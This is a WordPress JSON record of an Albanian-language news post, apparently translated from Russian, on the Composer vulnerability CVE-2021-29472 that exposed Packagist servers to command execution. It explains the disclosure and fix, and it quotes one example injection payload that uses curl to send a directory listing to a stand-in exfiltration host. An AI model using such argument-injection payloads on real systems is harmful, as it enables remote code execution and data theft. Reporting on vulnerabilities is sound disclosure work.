{"id":100078,"date":"2021-05-03T10:22:39","date_gmt":"2021-05-03T08:22:39","guid":{"rendered":"https:\/\/prohoster.info\/blog\/novosti-interneta\/uyazvimost-v-paketnom-menedzhere-composer-dopuskayushhaya-komprometacziyu-php-repozitoriya-packagist"},"modified":"2021-05-03T10:22:39","modified_gmt":"2021-05-03T08:22:39","slug":"uyazvimost-v-paketnom-menedzhere-composer-dopuskayushhaya-komprometacziyu-php-repozitoriya-packagist","status":"publish","type":"post","link":"https:\/\/prohoster.info\/sq\/blog\/news\/uyazvimost-v-paketnom-menedzhere-composer-dopuskayushhaya-komprometacziyu-php-repozitoriya-packagist","title":{"rendered":"Nj\u00eb dob\u00ebsi n\u00eb menaxherin e paketave Composer, e cila lejon komprometimin e depozita PHP Packagist","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"

N\u00eb menaxherin e var\u00ebsive Composer \u00ebsht\u00eb identifikuar nj\u00eb dob\u00ebsi kritike (CVE-2021-29472), q\u00eb lejon ekzekutimin e komandave t\u00eb rastit n\u00eb sistem gjat\u00eb p\u00ebrpunimit t\u00eb paketave me nj\u00eb vler\u00eb t\u00eb ve\u00e7ant\u00eb URL, e cila p\u00ebrcakton adres\u00ebn p\u00ebr ngarkimin e burimeve. Problemi shfaqet n\u00eb komponent\u00ebt GitDriver, SvnDriver dhe HgDriver, t\u00eb p\u00ebrdorur gjat\u00eb p\u00ebrdorimit t\u00eb sistemeve t\u00eb menaxhimit t\u00eb burimeve Git, Subversion dhe Mercurial. Dob\u00ebsia \u00ebsht\u00eb eliminuar n\u00eb versionet Composer 1.10.22 dhe 2.0.13. <\/p>\n

Ve\u00e7an\u00ebrisht theksohet se problemi ka prekur kryesisht depozitat e paketave Packagist, t\u00eb p\u00ebrdorura si t\u00eb parazgjedhura n\u00eb Composer, t\u00eb cilat num\u00ebrojn\u00eb 306 mij\u00eb paketa p\u00ebr zhvilluesit n\u00eb PHP dhe sh\u00ebrbejn\u00eb \u00e7do muaj m\u00eb shum\u00eb se 1.4 miliard shkarkime. Gjat\u00eb eksperimenteve \u00ebsht\u00eb treguar se n\u00eb rastin e disponimit t\u00eb informacionit mbi problemin, sulmuesit mund t\u00eb merrnin kontroll mbi infrastruktur\u00ebn e Packagist dhe t\u00eb kapnin akreditimet e p\u00ebrcjell\u00ebsve ose t\u00eb ridrejtuan shkarkimin e paketave n\u00eb nj\u00eb server t\u00eb huaj, duke organizuar dor\u00ebzimin e variacioneve t\u00eb paketave me ndryshime t\u00eb d\u00ebmshme p\u00ebr t\u00eb futur nj\u00eb backdoor gjat\u00eb procesit t\u00eb instalimit t\u00eb var\u00ebsive. <\/p>\n

Rreziku p\u00ebr p\u00ebrdoruesit e fundit \u00ebsht\u00eb i kufizuar nga fakti se p\u00ebrmbajtja e composer.json p\u00ebrcaktohet zakonisht nga vet\u00eb p\u00ebrdoruesi, nd\u00ebrsa lidhjet n\u00eb burimet p\u00ebrcillen kur k\u00ebrkohen depozita t\u00eb huaja, zakonisht q\u00eb g\u00ebzojn\u00eb besueshm\u00ebri. Goditja kryesore ra mbi depozit\u00ebn Packagist.org dhe sh\u00ebrbimin Private Packagist, t\u00eb cilat th\u00ebrrasin Composer me transmetimin e t\u00eb dh\u00ebnave t\u00eb marra nga p\u00ebrdoruesit. Sulmuesit mund t\u00eb ekzekutonin kodin e tyre n\u00eb serverat e Packagist duke vendosur nj\u00eb paket\u00eb t\u00eb ve\u00e7ant\u00eb. <\/p>\n

Ekipa e Packagist eliminoi dob\u00ebsin\u00eb brenda 12 or\u00ebve pas marrjes s\u00eb njoftimit mbi dob\u00ebsin\u00eb. K\u00ebrkuesit n\u00eb m\u00ebnyr\u00eb private njoftuan zhvilluesit e Packagist m\u00eb 22 prill dhe n\u00eb t\u00eb nj\u00ebjt\u00ebn dit\u00eb problemi u rregullua. P\u00ebrdit\u00ebsimi publik i Composer me eliminimin e dob\u00ebsis\u00eb u publikua m\u00eb 27 prill, nd\u00ebrsa detajet u zbuluan m\u00eb 28 prill. Auditimi i logeve n\u00eb serverat e Packagist nuk zbuloi aktivitet t\u00eb dyshimt\u00eb t\u00eb lidhur me dob\u00ebsin\u00eb. <\/p>\n

Problemi i shkaktuar nga nj\u00eb gabim n\u00eb kodin e verifikimit t\u00eb URL n\u00eb skedarin rr\u00ebnjor composer.json dhe lidhjet p\u00ebr shkarkimin e burimeve t\u00eb kodit. Gabimi ka qen\u00eb n\u00eb kod q\u00eb nga n\u00ebntori i vitit 2011. N\u00eb Packagist, p\u00ebr t\u00eb organizuar shkarkimin e kodit pa u lidhur me nj\u00eb sistem t\u00eb caktuar t\u00eb menaxhimit t\u00eb burimeve, p\u00ebrdoren shtresa t\u00eb ve\u00e7anta q\u00eb realizohen p\u00ebrmes thirrjes 'fromShellCommandline' me kalimin e argumenteve t\u00eb linj\u00ebs s\u00eb komand\u00ebs. P\u00ebr shembull, p\u00ebr git thirret komanda 'git ls-remote \u2014heads $URL', ku URL \u00ebsht\u00eb p\u00ebrpunuar p\u00ebrmes metod\u00ebs 'ProcessExecutor::escape($url)', e cila eksteriorizon struktura potencialisht t\u00eb rrezikshme, si '$(...)' ose '`...`'. <\/p>\n

Thelbi i problemit \u00ebsht\u00eb se metoda ProcessExecutor::escape nuk e ka eksteriorizuar sekuenc\u00ebn '\u2014', e cila lejonte specifikimin e \u00e7do parametri t\u00eb shtes\u00eb t\u00eb thirrjes n\u00eb URL. Nj\u00eb p\u00ebrjashtim i till\u00eb mungonte n\u00eb drejtuesit GitDriver.php, SvnDriver.php dhe HgDriver.php. Nj\u00eb sulm p\u00ebrmes GitDriver.php pengohej nga fakti se komanda 'git ls-remote' nuk mb\u00ebshteste specifikimin e argumenteve t\u00eb tjera pas rrug\u00ebs. Nj\u00eb sulm ndaj HgDriver.php ishte i mundur p\u00ebrmes kalimit t\u00eb parametrit '\u2014config' tek utilitari 'hq', i cili lejonte organizimin e ekzekutimit t\u00eb \u00e7do komande p\u00ebrmes manipulimit me cil\u00ebsimin 'alias.identify'. P\u00ebr shembull, p\u00ebr t\u00eb shkarkuar dhe ekzekutuar kodin p\u00ebrmes aktivizimit t\u00eb utilitarit curl mund t\u00eb specifikohej: \u2014config=alias.identify=!curl http:\/\/exfiltration-host.tld \u2014data \"$(ls -alh)\". <\/p>\n

Duke vendosur n\u00eb Packagist nj\u00eb paket\u00eb provuese me nj\u00eb URL t\u00eb till\u00eb, hulumtuesit e konfirmuan se pas vendosjes n\u00eb serverin e tyre mb\u00ebrriti nj\u00eb k\u00ebrkes\u00eb HTTP nga nj\u00eb nga server\u00ebsh<\/a> Packagist n\u00eb AWS, q\u00eb p\u00ebrmbante nj\u00eb listim t\u00eb skedave n\u00eb katalogun aktual.
\n
Burimi: opennet.ru<\/a> <\/p>","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"excerpt":{"rendered":"

\u0412 \u043c\u0435\u043d\u0435\u0434\u0436\u0435\u0440\u0435 \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0435\u0439 Composer \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0430 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c (CVE-2021-29472), \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u043f\u0440\u0438 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0435 \u043f\u0430\u043a\u0435\u0442\u0430 \u0441\u043e \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043e\u0444\u043e\u0440\u043c\u043b\u0435\u043d\u043d\u044b\u043c \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435\u043c URL, \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u044e\u0449\u0438\u043c \u0430\u0434\u0440\u0435\u0441 \u0434\u043b\u044f \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u0445 \u0442\u0435\u043a\u0441\u0442\u043e\u0432. \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u043f\u0440\u043e\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0432 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0430\u0445 GitDriver, SvnDriver \u0438 HgDriver, \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u0435\u043c\u044b\u0445 \u043f\u0440\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0438 \u0441\u0438\u0441\u0442\u0435\u043c \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u043c\u0438 \u0442\u0435\u043a\u0441\u0442\u0430\u043c\u0438 Git, Subversion \u0438 Mercurial. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0430 \u0432 \u0432\u044b\u043f\u0443\u0441\u043a\u0430\u0445 Composer 1.10.22 \u0438 2.0.13. […]<\/p>\n","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[702],"tags":[],"class_list":["post-100078","post","type-post","status-publish","format-standard","hentry","category-news"],"aioseo_notices":[],"aioseo_head":"\n\t\t\n\t\n\t\n\t\n\t\n\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\n","aioseo_head_json":{"title":"\ud83e\udd47Dob\u00ebsia n\u00eb menaxherin e paketave Composer, e cila lejon kompromitimin e depozit\u00ebs PHP t\u00eb Packagist | ProHoster","description":"N\u00eb menaxherin e var\u00ebsive Composer u identifikua nj\u00eb dob\u00ebsi kritike (CVE-2021-29472), e cila lejon ekzekutimin e komandave t\u00eb rast\u00ebsishme n\u00eb sistem gjat\u00eb p\u00ebrpunimit t\u00eb paketave me nj\u00eb vler\u00eb t\u00eb formatuar posa\u00e7\u00ebrisht t\u00eb URL-s\u00eb, q\u00eb p\u00ebrcakton.","canonical_url":"https:\/\/prohoster.info\/sq\/blog\/news\/uyazvimost-v-paketnom-menedzhere-composer-dopuskayushhaya-komprometacziyu-php-repozitoriya-packagist","robots":"max-image-preview:large","keywords":"","webmasterTools":{"miscellaneous":""},"schema":null,"og:locale":"sq_AL","og:site_name":"ProHoster | \u041a\u0443\u043f\u0438\u0442\u044c \u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0439 \u0445\u043e\u0441\u0442\u0438\u043d\u0433 \u0434\u043b\u044f \u0441\u0430\u0439\u0442\u043e\u0432 \u0441 \u0437\u0430\u0449\u0438\u0442\u043e\u0439 \u043e\u0442 DDoS, VPS VDS \u0441\u0435\u0440\u0432\u0435\u0440\u044b","og:type":"article","og:title":"\ud83e\udd47\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u043f\u0430\u043a\u0435\u0442\u043d\u043e\u043c \u043c\u0435\u043d\u0435\u0434\u0436\u0435\u0440\u0435 Composer, \u0434\u043e\u043f\u0443\u0441\u043a\u0430\u044e\u0449\u0430\u044f \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u044e PHP-\u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f Packagist | ProHoster","og:description":"\u0412 \u043c\u0435\u043d\u0435\u0434\u0436\u0435\u0440\u0435 \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0435\u0439 Composer \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0430 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c (CVE-2021-29472), \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u043f\u0440\u0438 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0435 \u043f\u0430\u043a\u0435\u0442\u0430 \u0441\u043e \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043e\u0444\u043e\u0440\u043c\u043b\u0435\u043d\u043d\u044b\u043c \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435\u043c URL, \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u044e\u0449\u0438\u043c.","og:url":"https:\/\/prohoster.info\/sq\/blog\/news\/uyazvimost-v-paketnom-menedzhere-composer-dopuskayushhaya-komprometacziyu-php-repozitoriya-packagist","og:image":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:secure_url":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:width":350,"og:image:height":350,"article:published_time":"2021-05-03T08:22:39+00:00","article:modified_time":"2021-05-03T08:22:39+00:00","article:publisher":"https:\/\/www.facebook.com\/prohoster","article:author":"https:\/\/www.facebook.com\/prohoster"},"aioseo_meta_data":{"post_id":"100078","title":null,"description":null,"keywords":null,"keyphrases":null,"primary_term":null,"canonical_url":null,"og_title":null,"og_description":null,"og_object_type":"default","og_image_type":"default","og_image_url":null,"og_image_width":null,"og_image_height":null,"og_image_custom_url":null,"og_image_custom_fields":null,"og_video":null,"og_custom_url":null,"og_article_section":null,"og_article_tags":null,"twitter_use_og":false,"twitter_card":"default","twitter_image_type":"default","twitter_image_url":null,"twitter_image_custom_url":null,"twitter_image_custom_fields":null,"twitter_title":null,"twitter_description":null,"schema":{"blockGraphs":[],"customGraphs":[],"default":{"data":{"Article":[],"Course":[],"Dataset":[],"FAQPage":[],"Movie":[],"Person":[],"Product":[],"ProductReview":[],"Car":[],"Recipe":[],"Service":[],"SoftwareApplication":[],"WebPage":[]},"graphName":"","isEnabled":true},"graphs":[]},"schema_type":null,"schema_type_options":null,"pillar_content":false,"robots_default":true,"robots_noindex":false,"robots_noarchive":false,"robots_nosnippet":false,"robots_nofollow":false,"robots_noimageindex":false,"robots_noodp":false,"robots_notranslate":false,"robots_max_snippet":null,"robots_max_videopreview":null,"robots_max_imagepreview":"large","priority":null,"frequency":null,"local_seo":null,"seo_analyzer_scan_date":null,"breadcrumb_settings":null,"limit_modified_date":false,"reviewed_by":null,"ai":null,"created":"2021-05-03 08:26:11","updated":"2026-02-09 16:50:51","focus_keyword":null,"additional_keywords":null,"truseo_locale":null},"gt_translate_keys":[{"key":"link","format":"url"}],"_links":{"self":[{"href":"https:\/\/prohoster.info\/sq\/wp-json\/wp\/v2\/posts\/100078","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/prohoster.info\/sq\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/prohoster.info\/sq\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/prohoster.info\/sq\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/prohoster.info\/sq\/wp-json\/wp\/v2\/comments?post=100078"}],"version-history":[{"count":1,"href":"https:\/\/prohoster.info\/sq\/wp-json\/wp\/v2\/posts\/100078\/revisions"}],"predecessor-version":[{"id":158822,"href":"https:\/\/prohoster.info\/sq\/wp-json\/wp\/v2\/posts\/100078\/revisions\/158822"}],"wp:attachment":[{"href":"https:\/\/prohoster.info\/sq\/wp-json\/wp\/v2\/media?parent=100078"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/prohoster.info\/sq\/wp-json\/wp\/v2\/categories?post=100078"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/prohoster.info\/sq\/wp-json\/wp\/v2\/tags?post=100078"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}